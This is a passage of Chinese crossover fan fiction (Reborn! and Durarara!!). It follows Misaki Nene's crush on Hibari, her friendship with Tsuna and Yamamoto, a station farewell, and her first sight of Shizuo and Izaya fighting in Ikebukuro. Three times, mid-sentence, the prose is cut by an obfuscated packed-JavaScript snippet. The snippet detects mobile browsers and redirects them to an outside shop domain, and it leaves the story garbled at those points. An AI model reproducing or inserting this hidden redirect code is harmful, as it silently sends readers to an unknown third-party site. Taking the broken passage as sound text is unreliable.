祢祢:“可是他收下了我做的蛋糕欸!说不定下次就同样收下我的告白花束了呢!” 沢田纲吉:“应该没有人会拒绝女孩子的蛋糕吧?拒绝的话会让人很难堪的,收下也很可能只是因为出于礼貌啊。” 祢祢若有所思:“云雀前辈……有礼貌吗……?” 沢田纲吉:“……你在对自己的暗恋对象发表什么奇怪的评论啊!!” 8. 一见钟情和日久生情 虽然没表现出来,但见崎祢祢对沢田纲吉发表的那些言论还是很在意的。 难道云雀前辈真的是出于礼貌才收下她的蛋糕的吗? 那就算是别的女孩子给他送蛋糕……他也会接受吗? 作为凶名在外的风纪委员长,即使长了张在祢祢眼里全并盛、不,全日本排名第一脸,大概也是没有女孩子敢给他送蛋糕的。 所以,祢祢也就无从得知这个问题的答案了。 据祢祢这段时间的观察,云雀恭弥并不像传言中那么残暴,不会随便打女人和小孩,反正祢祢是没有被打过。 问问题也有问必答,很有……礼貌?! !!! 云雀前辈是有礼貌的!! 祢祢又开始感到焦虑。 她开始思考如何验证这件事。 找个女孩去给前辈送蛋糕?不太可能,云雀前辈会吓到她的,而且如果前辈真的收下了她会难过到死掉的。 恋爱就是这么麻烦的事,如果成为不了他特殊的存在就会感到很难过。 那就换一个方法的!我可以去给其他男孩送蛋糕,这样就能知道男孩子是不是都不会决绝蛋糕了! 我可真是个天才! 于是,下一次的家政课,祢祢的蛋糕没有送给沢田纲吉,也没有与笹川京子交换,而是当着众人诧异的目光走到了山本武面前。 祢祢只将自己的蛋糕给过并盛中学的三个人,那就是沢田纲吉,笹川京子还有云雀恭弥。 在祢祢看来,第一次沢田纲吉接受她的蛋糕很有可能是出于某种受宠若惊,毕竟‘废柴纲’大概是没有被女孩子送过蛋糕的。当然也有可能是出于所谓的礼貌,在熟悉之后也没有提过只是单纯因为怕伤害到他们的友谊。 ……他们的友谊才没有这么脆弱呢! 和笹川京子就更好理解了,在很长一段时间里,笹川京子都是祢祢的‘老师’,负责帮助她做出更好看的蛋糕,彼此交换是很正常的事,再加上后来的确成为了关系很好的朋友,这种事在朋友之间就更不必多说了。 而云雀恭弥,祢祢不知道他为什么接受他的蛋糕,因为她其实对他还不够了解。 或许是因为送花那次说的话,他将这次的蛋糕也当做了‘谢礼’,或许只是刚巧心情好或者想吃些甜食,于是就没有拒绝,亦或者真的和沢田纲吉说得那样,只是出于礼貌。 还有一种可能性,那就是云雀其实已经认可了她,把她当成了朋友,所以觉得吃掉朋友送的蛋糕是件很正常的事。 一想到这种可能性,祢祢的心情就开始雀跃起来,但又很快失落起来。 唉,要是人类之间有那种成为朋友时必须要进行的仪式——就像告白那样就好了,这样她就可以通过前辈是否愿意与她建立仪式而得知对方是否愿意与她成为朋友。 是的,朋友。 虽然很多故事里被喜欢的人发朋友卡似乎是一件会让人沮丧的事,但祢祢却不那么认为。 世界上恋爱关系的建立无非出于两种情况:一个是一见钟情,另一个是日久生情。 祢祢对云雀恭弥毋庸置疑是属于前者,但云雀恭弥对祢祢肯定不是这样的,怎么想他都不会和一见钟情这种东西挂钩吧?那就只能从后者下手了。 其实祢祢从自身观念里是否定‘日久生情’这种存在的,或者是,祢祢觉得‘日久生情’是虚假的,本质上也是一种一见钟情。 ——如果相处的时间足够长就能让你爱上了一个人,那祢祢为什么没有和沢田纲吉或者笹川京子成为恋人呢?是他们在一起的时间还不够长吗? 如果呆的久就能让你越来越喜欢一个人,那沢田纲吉为什么还会被班级里的其他人讨厌呢? 他们和他的认识的时间难道不比刚转学来的祢祢要多的多吗?那为什么在祢祢已经很喜欢他的时候他还在被其他同学欺负呢? 所以‘日久生情’这种东西果然是不存在的吧! 所有人与人的交往——尤其是关于恋爱方面一切,都和缘分和气场那些玄而又玄的东西挂钩,就算在一起的时间很长也不足以说明什么。 ——祢祢在小学的时候就有一个同学可以举例。 他们在小学六年里讲过的话一双手都能数的过来,明明什么都没发生过,但他却莫名疏远她,不愿意与她多待,仿佛看她一眼都觉得难以忍受。 祢祢察觉到这一点后也就不再想要和他交朋友了。从他的身上,祢祢并没有感受到恶意或者厌恶,他似乎只是单纯的不想与她解除,是一种纯粹的疏远,似乎只想同她成为擦肩而过的陌生人。 刚察觉到地方的疏远意图时,祢祢着实委屈了很长时间,觉得自己无缘无故被讨厌了,后来在美佐纪的安慰下才逐渐好起来,知道了‘不是所有人都有缘分成为朋友’这件事。 就算相处的时间很久也不一定能成为朋友,更勿论恋人这种更紧密的联系了。 所谓的‘日久生情’不过是在处于‘朋友’身份互相了解的同时在某一个瞬间对对方一见钟情了,也就是所谓的‘突然意识到自己似乎喜欢上他/她了’,而且彼此看上去也很是相配,如果对方也有意的话,成为恋人也没有关系吧? 当然没有关系,不如说是乐见其成。 甚至这种在维持朋友身份之时的一见钟情,听上去要比不加伪装的、真正的一见钟情要听上去靠谱的多,毕竟有一定的相处时间,互相了解彼此,看上去似乎比‘正统’一见钟情要能走得更远。 ……如果非要和彼此了解的人成为恋人的话还不如直接和朋友或者家人过一辈子,反正差距也不大。 哪个人恋爱的时候和恋人没有磨合期?就算世界上真的有如此契合的两人那也在少数,大多数恋人之间总是会有矛盾,会了解到对方身上除自己喜欢的点外的缺点,会因此分开或者花费时间接受与磨合。 ——这些是在大多数恋爱中必不可少的步骤,如果经历过这些还依旧在一起的话才算是建立了真正牢靠的恋爱关系。 不会因为一些小误会而闹矛盾,三流小说中的那些情节也不会出现,因为这已经是接近‘家人’的恋爱关系了。 而以‘日久生情’作为伪装的一见钟情和传统的正统一见钟情,只不过是磨合期在恋爱关系确认的前后这种差距,一见钟情比‘日久生情’要‘不靠谱’这种言论就是因为大多数恋人没有熬过磨合期而分开所致。 所以一见钟情和日久生情其实没什么大的差别,只要爱意足够深刻浓烈,就不会随着时间淡化变质。 既然云雀恭弥不会对她一见钟情,那就只能采取次一级的‘日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565059|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久生情’了。 日久生情,那他们首先要在一起的时间很长,长到可以了解彼此。 但普通人能和云雀恭弥待在一起的时间太短了,而祢祢又不可能加入风纪委员会,先不说风纪委员会招不招女孩儿,就祢祢的战斗力进去不说解决小混混连保护费都收不着,顶多是个撑场面的。 ——嘶,就以祢祢的小身板和毫无威慑力的外表,可能连场面都撑不出来。 所以当然要先和云雀前辈成为朋友啦!只要成为朋友,她去找前辈就有了合理的理由,朋友不是就要经常在一起吗? 她也经常和沢田纲吉他们待在一起,说不定待得世界久了,云雀前辈会在某一瞬间喜欢上她。 ——那那一瞬间一定是世界上最美妙的一瞬间吧? 但祢祢现在根本不知道自己是否已经成为了他认可的朋友。 真是苦恼啊,所以到底有没有确认自己是否与一个成为朋友的方法啊? 朋友关系和恋人关系完全不同,在祢祢的印象中,成为朋友似乎是一件自然而然的事,不需要告知不需要仪式,等回过神来的时候就已经成为朋友了,不像恋爱关系那样需要告白仪式——不,有的时候恋爱关系的建立也不需要告白,似乎自然而然就到了那一步。 祢祢不喜欢这样。 这种莫名其妙开始的关系也总是莫名其妙的结束,和开始自然而然的在一起那样,结束也是自然而然的,没头没尾,莫名其妙。 祢祢不喜欢那样。 恋爱必须有鲜花与告白。祢祢是这么认为的。 如果可以,要选在夜晚,在河边,有烟花的地方。 就算……就算不喜欢了,也应该找一个合适的场合,一个合适的天气,静静的坐下来说清楚,如果是误会或者还有余留的余地当然更好。 总之不能闹得很难看,就算分开,也要用一个拥抱来结束这段关系,给这段遗憾收场的恋情留下最后的美好。 这才是祢祢理想中的恋爱。 至于友情…… 在友情方面,见崎祢祢最近遇到了一些麻烦。 自从上次家政课将蛋糕送给山本武之后,他们莫名其妙的熟络起来,上学路上遇见时很自然的打招呼,然后很自然的和她一起走进学校,甚至在某天莫名其妙地跟在她身后去了沢田纲吉家写作业。 我……和他什么时候这么熟了? 祢祢茫然地看着山本武成为倒水的背影,他比同龄男孩要高很多,沢田纲吉甚至比他矮上整整一头。 运动系都长这么高吗?真是羡慕啊。 跟身旁的沢田少年差不多高的祢祢忍不住这么想道。 “你什么时候跟山本熟起来了?”沢田纲吉也对此很疑惑,在山本武第一次跟着祢祢来到他家写作业的时候小声问。 “不知道啊。”祢祢和他头挨着头咬耳朵。 大概是因为最近天气逐渐热起来了,沢田纲吉的脸有些发红,祢祢贴着他时感到滚烫的热度顺着他们接触的那一小片皮肤传递过来。 “你脸好红,需不需要开空调?”祢祢体贴的问。 “不、不用……”沢田纲吉支吾道。 “哟,祢祢在和阿纲说悄悄话吗?我也好想知道啊。” 山本武开朗的声音自身后传来。 9. 离别和拥抱 祢祢。 祢祢愣了愣才后知后觉地反应过来山本武换了对她的称呼,因为对方的语气与神态都太自然了,仿佛本该如此,祢祢反而开始觉得不自在。 毕竟只有亲密的人才会直接喊她的名字,其他人都是喊姓氏,甚至有些不熟悉的同学一开始还会因此以为她叫‘未咲’(Misaki,和‘见崎’同音)。 可以直接喊她名字的,也就只有美佐纪、外公外婆、贤太郎、奈奈阿姨、沢田纲吉、笹川京子、黑川花……呃,不算太多也不算太少的那么几个,都是家人和关系很好的朋友。 总之,山本武这样轻易的开始喊她的名字,叫祢祢很别扭。 “这么自然的就转换了称呼吗山本君……”祢祢忍不住抢了沢田纲吉的吐槽役台词,嘟囔道。 “哈哈叫我阿武就可以了。”山本武爽朗道。 祢祢眉头皱得更紧了:这不是更奇怪了吗?他们难道已经熟到可以彼此称呼名字的程度了吗? 但是看着少年那副毫无异样的模样,又疑心是自己太敏感了,说不定他就是个自来熟,要是她再表现得扭扭捏捏也太落气势了。 于是祢祢眨了眨眼,同样很自然的喊了声他的名字:“阿武。” 黑发少年几不可查地愣了愣,然后很快恢复原样,笑着坐到她旁边,指着试卷上的题问祢祢。 祢祢低头看了看他的试卷,被那没比沢田纲吉好多少正确率惊了一跳。 真没想到学院人气王的成绩居然和人人嘲笑的废柴纲差不多,所以他到底是为什么会比沢田纲吉受欢迎那么多?脸吗? 祢祢扭头看向山本武,光明正大的打量,对方也就坦坦荡荡地任她打量,甚至还用带着轻松笑意的眼同她对视。 平心而论,山本武确实长得很好看,是和云雀恭弥截然不同的好看,是那种看起来温暖而健康,凑近时仿佛能嗅到阳光的气味的好看。 不长的黑色头发,健康的小麦色皮肤,还有一双琥珀色的眼睛。 但山本武眼睛的琥珀色和祢祢眼睛的琥珀色差距还是很大的。祢祢的眼睛要比他浅上许多,说是琥珀,不如说要加个前置词,‘阳光下’的琥珀才更准确,是一种接近金色但又要比金色更柔和的颜色。 祢祢眨了眨眼,移开视线,拉了拉旁边不知道为什么沉默的沢田纲吉:“过来一些啦!这道题你也错了不是吗?我教你啦。” …… 几分钟过后。 “哇哦,这道题原来是这样的吗?我明白了。”山本武恍然大悟地拿起了笔。 祢祢看着他在纸上涂画,然后得出了正确答案。 她惊讶的看向他:“你这不是蛮聪明的吗?怎么只考那么点分?” 山本武挠头笑道:“因为平时的心思都在棒球上了嘛!” 祢祢觉得他还得再练,因为她的心思也大部分都放在云雀恭弥身上了,但成绩却一直都很稳。 于是她又说:“你还得多练一点,只要在思考棒球的时候也能听进去课就可以了,成绩也是很重要的,你考差的时候难道不会被家长扣零花钱吗?” 祢祢当然没有被扣过零花钱,先别说她一直稳在前三成绩,就算她真的考得很差,美佐纪也不会因为这种小事扣她的零花钱。这么问只是因为她以前的好朋友就经常因此被扣零花钱。 山本武:“不会啦,我老爸脾气很好的。” 祢祢点点头,又看向沢田纲吉:“阿纲,你会做了吗?” 沢田纲吉心虚的动了动眼珠:“啊……这个……呃……” 祢祢见此立刻露出了‘果然如此’的表情,理所当然道:“啊,果然是没会吧?沢田纲吉怎么可能一遍就会呢。” 沢田纲吉:“啊,我就是个废材真的很抱歉呢。” “那就没办法了。” 祢祢装模作样的叹口气,看向山本武:“那阿武你就先自己看吧,我先给阿纲再讲几遍,有不会的你待会儿再问我哦。” 沢田纲吉:“要不还是算了吧……教会我要比教会山本麻烦很多……会影响祢祢学习的吧……” “不要紧,我从来没有觉得阿纲是麻烦的。”祢祢很认真的看着他,因为离得很近,沢田纲吉可以很清楚的看见她澄澈的浅色眼睛里,自己的倒影。 “毕竟……” “我们可是朋友啊!” 沢田纲吉:“……” “而且‘影响学习’什么的,倒还真不至于。毕竟我在想……” 她用余光瞥了一眼山本武,又给了沢田纲吉一个‘你懂的’的眼神,含糊道:“……花费的心思和时间可比教你写作业时要多的多。” 沢田纲吉:“……哦。” 把我的感动还回来啊!!! ———— “阿纲,很抱歉,我接下来将不能再陪伴与你身边了。”见崎祢祢隐忍又悲伤地望着他,神色忧郁,语气沉痛。 她细细叮嘱:“我不在你身边的日子,请务必记得按时吃饭,不要把自己饿死,也要记得到点睡觉,最近熬夜猝死的案例还挺多的。” “天冷的时候记得加衣服,走路的时候记得看路,不要再平地摔了,说不定你的脑袋就是因为这样才坏掉的……啊!还有!不要忘记写作业,京子酱是不会喜欢不写作业的男人的。” 沢田纲吉:“……你,在说什么啊!!!” “明明只是要在假期回一趟老家而已啊!为什么说得好像生离死别一样!!而且不用提醒加衣服吧!现在是夏天!你也只是去那么几天而已!根本不需要说这个!!” 祢祢认真的反驳:“就算是夏天,也会有生病的风险,虽然说笨蛋是不会生病的,但还是要做好防护措施才行。” 沢田纲吉:“……好了,你可以离开了。” 祢祢难以置信的看着他,像是被告知男友出轨了的良家少女:“你居然……就这么将我放走了吗?一点都没有感到不舍吗?我以为……自己对你很重要呢……终究还是、错付了么……?” 沢田纲吉无语的望着她:“……你是最近又看了什么小说吗?” 祢祢老实道:“嗯,是前几天书店新发售的《明明已经有了我这么可爱的未婚妻,他却还是喜欢上了其他女孩子》。” 沢田纲吉默了默,张嘴道:“……光是听名字就能知道是什么内容了呢。” 祢祢点头,认可道:“轻小说是这样子的。” “那你干嘛还要买?” “因为这个名字听上去很有意思,封面上的女主角也很漂亮,而且眼睛还有点像云雀前辈,所以就买来看了——阿纲你要不要看?我可以借给你。” 沢田纲吉:“……不用了。” 沢田纲吉有些想象不出来和云雀恭弥长得像的女主角长什么样。 想想就很惊悚啊……!! “所以……” 沢田纲吉闻声抬头,望进祢祢故作可怜的眼中:“阿纲真的对将要离开的我有所留恋吗?真的……不会挽留我吗?” 沢田纲吉无语道:“我挽留的话你就会留下来吗?” “你在想什么?当然不会啊。”祢祢理所当然道,“都已经在车站了欸。” “……那你还这么说干什么?” “因为你毫无波动的情绪让我很不爽,小说漫画里的离别都是在拥抱和泪水里的,偶像剧里还会有漂亮而轻盈的雪。你没有按剧本走。” 沢田纲吉:“……” 沢田纲吉:“现在是夏天,你要到哪里找雪?而且——你只是离开三天啊!有什么值得哭泣的?!这甚至算不上‘离别’!!!” 祢祢不服气道:“这可是三天欸,整整三天——七十二个小时,四千三百二十分钟,二十五万九千二百秒……” “……还是很漫长的。” 她一本正经:“就算阿纲不会对此感到不舍,我也会时常想念你的。” 沢田纲吉突然安静,祢祢疑惑地看向他,看见他侧脸连着耳根红了一片。 大概是被热的吧。她想。 毕竟夏天已经到了。 “……就算说的再夸张,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565060|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也只是三天而已啊。”他脸上的红还没退去,却依旧小声的吐槽着。 真是敬业啊。 “不是有句话叫‘一日不见,如隔三秋’吗?那我们三日不见就隔了三个‘三秋’了,三乘三,那就是九个秋天了,九个秋天过去……要花费整整九年呢!!!” “——就算分开九年,阿纲也不会想念我吗?”祢祢可怜巴巴。 沢田纲吉神色有些动摇,但又很快反应过来:“那不还是依旧只有三天吗?!!” 祢祢突然警惕地盯着他,后退了两步,慎重的开口:“你是谁?沢田纲吉那家伙是不会这么聪明的?是幽灵么?快从他身上下来,就算被你附身之后他变得聪明了,我也还是依旧想要原来那个所有科目平均成绩17.5分、跳箱只能跳三叠高、支撑后回环一个都做不到、做什么都是废柴的废柴阿纲啊!!” 沢田纲吉:“……” 沢田纲吉:“你就是想趁机挖苦我吧!!!” 祢祢眨眨眼:“被附身后果然变得聪明了呢。” “……” “阿武。” 祢祢又看向一旁的山本武,他刚才正一脸惊奇的看着他俩飙戏,用像是在看什么魔术表演一样的感兴趣的表情。 “嗯?怎么了?” 祢祢抓起沢田纲吉垂在身侧的手,又抓起山本武的,顿了顿,忍不住问:“你们的手都好烫啊,天气真的有这么热吗?我觉得还好啊。” 山本武很自然地反握住她的手,说:“与其说是我烫,倒不如说是祢祢你的手太凉了吧?——简直像什么玉石一样,摸上去有种凉而润的感觉。” “……是这样吗?” 祢祢有些茫然的眨了眨眼,但又很快将其抛之脑后,接着刚刚未完成的动作,将沢田纲吉的手叠在山本武的手上,一秒变换神态与语气,郑重的说:“我不在的日子里,阿纲就交给你了,请一定照顾好他。” 山本武愣了愣,然后将自己的另一只手叠了上去,深沉道:“我一定会照护好这孩子的,你就放心走吧,孩子他妈。” 沢田纲吉神色扭曲:“……怎么就从偶像剧片场跳转到家庭剧片场了?还有我为什么是儿子??有问过我的意见吗?——话说山本你为什么要配合她啊!!” 山本武眨了眨眼,一脸天然道:“你们不是在玩角色扮演游戏吗?我也很想加入啊。” 沢田纲吉欲哭无泪:“剧本乱了啊!明明我刚刚还是冷酷无情的男主角怎么一眨眼就变成了不省心的儿子了啊!!” 祢祢:“居然说自己冷酷无情欸,阿纲你不知道自己有多没气势吗?那些无辜小白花女主才适合你吧?” 沢田纲吉:“……” “祢祢——” 祢祢闻声转头,看见美佐纪正在人群中同她挥手,旁边是拉着行李的贤太郎。 她回头抱歉地看了看自己的两个朋友:“这下是真的要走了,你们不需要很想我,反正只是三天,我很快就会回来的。” 她说着,抽出手往美佐纪他们的方向走,但刚没走两步又折回来,给了沢田纲吉一个紧密的拥抱,他甚至能嗅到她身上浅浅的橙花沐浴露的气味。 沢田纲吉:“!!!” “祢、祢祢……?”他的脸一下子红透了,手足无措,结巴道。 但还没等他说出更多,祢祢就放开了他,又转身给了山本武一个同样的拥抱。 不,还是不同的。 因为山本武要比她高上太多了,为了揽住对方的脖子,她很艰难地踮起了脚,离地的脚跟轻轻地颤,但又很快落回实处。 ——是山本武弯下了腰,很自然的回抱住了她,手指陷入她披散着的浅色长发里,甚至轻轻摩挲了下她发尾那点卷曲的弧度。 这个拥抱同样很快结束,但沢田纲吉却总觉得祢祢拥抱山本武的时间要比他的长。 望着少女挥手远去的背影,沢田纲吉只觉心情复杂。 “祢祢身上好凉啊,抱着很舒服嘛!” 一旁山本武居然依旧笑得一脸天然。 10. 池袋异闻录 东京,池袋。 祢祢合上手中的书。 那是一本文库本轻小说。封面上女主角披散着一头经典黑长直,有一双富有古典韵味的凤眼,精致好看的脸上没有笑容,深色制服包裹着她较好的身材,制服扣扣得一丝不苟,右臂还别着‘生徒会’的红袖章。 看外表是那种经典的不能再经典的高冷冰山女神型女主。 这是这本名叫《明明已经有了我这么可爱的未婚妻,他却还是喜欢上了其他女孩》的恋爱轻小说的主角,也是文名中的‘未婚妻’。 黑发,偏狭长型的凤眼,和胳膊上的红袖章,是祢祢觉得她和云雀恭弥相像都地方,除此之外,祢祢不敢把两人其余的任何一点联系在一起。 毕竟,这位名叫‘百合子’的主角小姐是个不折不扣的傲娇大小姐。 啊,当然外表还是很高冷的。 由于不会脸红,所以表现出来的人设就是高冷毒舌的冰山会长,所以明明和男主角卓也青梅竹马还有婚约却还是因此成为了败犬,输给了天降外国转学生女二贝芙莉。 云雀恭弥是不可能是傲娇的,也没有从小定下婚约的青梅竹马,更不会有天降外国转学生跟他抢未婚夫…… ——逻辑从一开始就不对,云雀又不是女孩子,哪来的未婚夫和天降情敌外国少女。 不过,如果云雀前辈变成女孩子,也一定很漂亮吧? 不过这个女主角是不是对可爱有什么误解?她的长相明显就是古典冷艳型的,可爱的话,女二号贝芙莉才算吧? 说起女二,此女是超经典的金发双马尾形象,也是个傲娇——话说这个作者很喜欢傲娇吗?怎么两个主要女角都是傲娇?嘶,仔细想想,男主角卓也似乎也有点傲娇倾向? 真是明显的XP啊。 不过女二贝芙莉的傲娇和她的金发双马尾一样,也是那种很经典的,教科书式的傲娇,就是那种会脸红、会悄悄撒娇和喜欢说反话的傲娇。 经典到男主角刚跟她没说两句就给她打上了傲娇标签,并且对她的话容忍度极高,可以把她的所有话都当成撒娇。 嗯,输的很合理。 但祢祢一开始还以为百合子一定会赢的呢。 毕竟这本书是百合子的第一视角,看上去是绝对主角的样子,而且金发、傲娇、双马尾……这个感觉像在叠buff的女二号看上去就很像败犬的样子啊! 而且,因为是百合子的第一视角,祢祢沉浸式体验了一把当败犬女主的滋味,觉得心情有些复杂。 被ntr了啊…… 虽然早有预料,但还是觉得有些不大高兴。 ……算了,反正当初买这边就是因为最近没出什么好书,而封面女主又有些像现暗恋对象云雀恭弥爱屋及乌的产物。 祢祢将书放在一旁的书桌上,长长叹了口气,几乎想要呐喊出声:这个世界需要更多纯爱!! —— 池袋比并盛町那个小地方要繁华的多,百货大楼和服装店,各种乱七八糟的商铺鳞次栉比,天色刚擦黑时就亮起了霓虹,往窗外一看就是炫目的灯光和络绎不绝的人群。 祢祢推开门,微凉的夜风当即就迎面扑了她一脸。 即使现在是在夏天,刚走出一段距离的她也开始感到冷了。 但都已经出来了,她又懒得再折回去拿外套,于是忽视了那点并不算强烈的凉意,继续往前走。 身处在络绎不绝的人群当中,同类的热度即使只是擦身而过也会弥散开,然后传染到她身上,久而久之,祢祢也就觉得不那么冷了。 “折——原——临——也——!!!” 一道中气十足的怒吼突然在耳边炸开,祢祢一惊,忍不住回头去看,但还没等她看清什么,周围的人突然开始向四周逃散,她茫然地呆立着,然后试探着再次向前走了两步。 然后她突然感受到一种寒毛直立的危险预感,下意识地往路边踉跄了两步,然后,一台自动贩卖机几乎是擦着她的肩膀飞了过去。 ——对,祢祢确信那是一台自动贩卖机,里面还装着花花绿绿的各色饮品。 她甚至在那一瞬的擦身而过时看见了里面的樱桃味胡椒博士,高饱和的粉色和纯黑配色在其中格外醒目。 ——那是祢祢的最爱,有时美佐纪忘记做便当,她就会坐在中庭吃炒面面包喝胡椒博士。 祢祢在樱桃味胡椒博士、不,是装着樱桃味胡椒博士的自动贩卖机擦着自己飞过去后又下意识的向后退了几步,然后差点被围着身后树木的矮石栏绊倒,在趔趄了下后才又扶着树干稳定了身体。 她心有余悸地喘了两口气,视线不自觉的和那台装着樱桃味胡椒博士的自动贩卖机绑在一起,眼睁睁看见它砸到一个身形纤瘦的黑发少年身上。 那少年被自动贩卖机撞得趴下——这很正常,谁被来这么一下都站不起来吧?——唔,说不定云雀恭弥可以,毕竟云雀前辈是无敌的嘛。说不定云雀根本不会被打中,他大概会一拐抽回去吧? ——但不正常的是,那少年居然只在地上躺了没几秒,就又那么扶着墙站起来了。 啊,这……这正常吗?他可是刚被那么大一台自动贩卖机砸中了欸!!还是说其实只是擦了个边?那也很厉害了呢。 祢祢忍不住对其投以钦佩的注视:没想到他看着清瘦纤细,居然有此实力,果然人不可貌相。 仔细想想,云雀恭弥好像也是这样,表面看着就是个身材纤瘦的美少年,忽略那身富有压迫感的气场甚至还能品出来很明显的古典韵味,但确是全并盛人人敬而远之的凶兽。 现在难道很流行这种反差吗? 那个少年——啊,刚刚是有人喊了一个名字对吗?是他的名字吗? Orihara Izaya?折原临也么……? 嗯?Izaya…… ——以赛亚? 嘶……好酷炫的名字啊!! 话说他父母为什么会给他起这种名字啊?虽然听上去很酷但真的不会被当成中二病吗? ……好吧她承认她是有点羡慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565061|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他有个气派的名字。 祢祢忍不住去看那位名字很气派的临也少年。他留着一头黑色短发,那发型跟山本武的还有点像,一张帅气清秀的面孔,还有一双鸽子血一样的红眼睛。 ——是个可以称得上漂亮的清秀少年,穿着被改短的黑色立领制服,里面是一件V领衬衣,露出了线条漂亮的清瘦锁骨,下身是偏修身的黑色长裤,动作间被露出来的那截细瘦足踝也足够赏心悦目。 ……好看是好看,不过,这身如果放在并盛,大概会被云雀恭弥以‘违反风纪’的名义咬杀吧?毕竟虽然风纪委员会是并盛最大的不良少年团体,但似乎还没有出过改造校服的,想来是因为‘风纪’。 祢祢看着那位临也君露出的,被衬衣布料包裹着的细瘦腰身,觉得他大概是打不过云雀恭弥的。 一个在她眼前突然掠过的告示牌打断了她的思绪。 祢祢被上面的亮色告示图晃了下眼,目光不自觉的跟随着它——砸向了道路尽头黑发红眸的临也君。 但临也君很明显已经回过神来,有了准备,没有乖乖站着挨打,而是身手敏捷、灵巧自如躲过被丢过来的告示牌、路牌、垃圾桶、自行车……呃,那是什么?是她出现幻觉了吗?那是……一颗……树吗?!! 她忍不住扭头看向丢出这些东西的人。 那是一个个子很高的少年,染着一头耀眼的金发,身上穿着水色西式制服——有点眼熟,她是说制服。 好像是附近某所高校正在通行的校服,因为颜色很漂亮所以就被祢祢记住了……好像是叫什么……‘来神高校’? 她又看了看轻巧躲过所有攻击还时不时放嘲讽的临也君,这才认出他身上的制服其实是来神高校被替换下来的旧款诘襟制服。祢祢小时候见过,那时来神的校服还是这个款式。 ……话说穿老式校服难道是什么潮流吗?虽说看上去的确比普通校服要帅气不少……所以是为了耍帅吗?那云雀前辈穿老式校服也是这个原因吗?不过诘襟确实比西式更帅气…… 不不不——现在不是关心这些的时候。 问题是,这位临也君和那位可以徒手拔树的金毛怪力男是同校的?他们在打架? ……这是池袋的不良少年干架的场面吗? 这很正常吗?为什么周围的行人除了散开给他俩让场子就没有其他举动了?甚至脸上连惊慌都少得可怜?这真的正常吗? 再怎么说,高中生打架把自动贩卖机和那么大一棵树丢得到处都是也有点太超过了吧? 还是说,这其实真的很正常,只是因为她在并盛那个乡下地方待的太久了所以有些跟不上大城市的潮流?说不定最近不良少年打架就流行丢自动贩卖机什么的…… ……好离谱啊!!!现在的中学生难道已经进化成这种地步了吗?!好可怕!!! 但其他地方好像没看见过用这种方式打架的啊……难道……是池袋特产吗……? 思及此,见崎祢祢不禁感慨: 池袋,可真是个神奇的地方啊! 11. 奇怪的书店 神间家。 “……扔出了自动贩卖机和树?” 神间外公重复了一遍祢祢的话,随即露出了了然的神色:“你说的是平和岛静雄吧?” “平和岛静雄?”祢祢好奇道。 “啊,平和岛静雄。那小子的力气可怪的很,脾气也暴躁,很容易生气,而且一发飙就会乱丢东西——路牌、自动贩卖机,甚至是路过的人类,只要是出现在他视野中的东西,他都能举起来当武器。” “哇——!!卡酷一!!!” “……之前情况还没有现在这么严重,但是自从他升上高中认识了折原临也就变成现在这样了。基本上,只要一看到折原,平和岛就会搬东西砸他。” 祢祢好奇:“那那位折原君又是什么情况呢?” “折原临也……”神间外公顿了顿,神色有些复杂:“他是个很特别的孩子。和同年龄段那些莽撞热血的男子高中生不同,他给人的第一印象是文静又有礼貌,无论是举止还是外表。” “文静、有礼貌?”祢祢重复了一遍他的话,有些茫然:“可他不是不良少年吗?还穿了那种在不良中很流行的制服。” 神间外公:“……那个短一截的制服外套?我还以为是最近在年轻人中流行的风气呢。” 祢祢点点头:“对。他身上那种短一截露出要的制服外套,还有那种领子很高下摆没过大腿的长服,都是在不良中很流行的款式。倒是那位平和岛君,虽然看上去混里混气的,但制服其实穿的相当规整呢……唔,这就是传说中的反差萌吗?” 神间外公发问:“‘反差萌’?那是什么?” 祢祢点着脸颊组织语言:“唔……大概是两种截然不同的、或者互相矛盾的属性在同一个人身上出现,所造成的巨大反差让人意外感到有些可爱吧——就比如‘外表乖巧文静的折原君其实穿的是不良少年间的流行服饰,还会跟同学打架’,‘染发打架的不良少年平和岛君其实把校服穿得很板正’这种。” “这样啊……”外公点了点头,感慨道:“外公我真是老了,有些跟不上年轻人的潮流了呢。” “不止是外公您,我感觉自己似乎也要跟不上大城市的节奏了呢!” 祢祢有些苦恼的皱起眉:“我之前出来没见过那种打架方式,把自动贩卖机和树丢出去打人什么的……现在的男子高中生都这样打架吗?有些太超过了吧……简直像什么幻想小说里才会有设定……” 神间外公慢悠悠的抿了口茶:“确实有点太夸张了些。” 祢祢:“??” 顶着她疑惑的视线,外公缓缓解释道:“在平和岛静雄之前,池袋也是没有这种打架方式的。不,就算是现在,在池袋也只有他一个是这样打架的。” 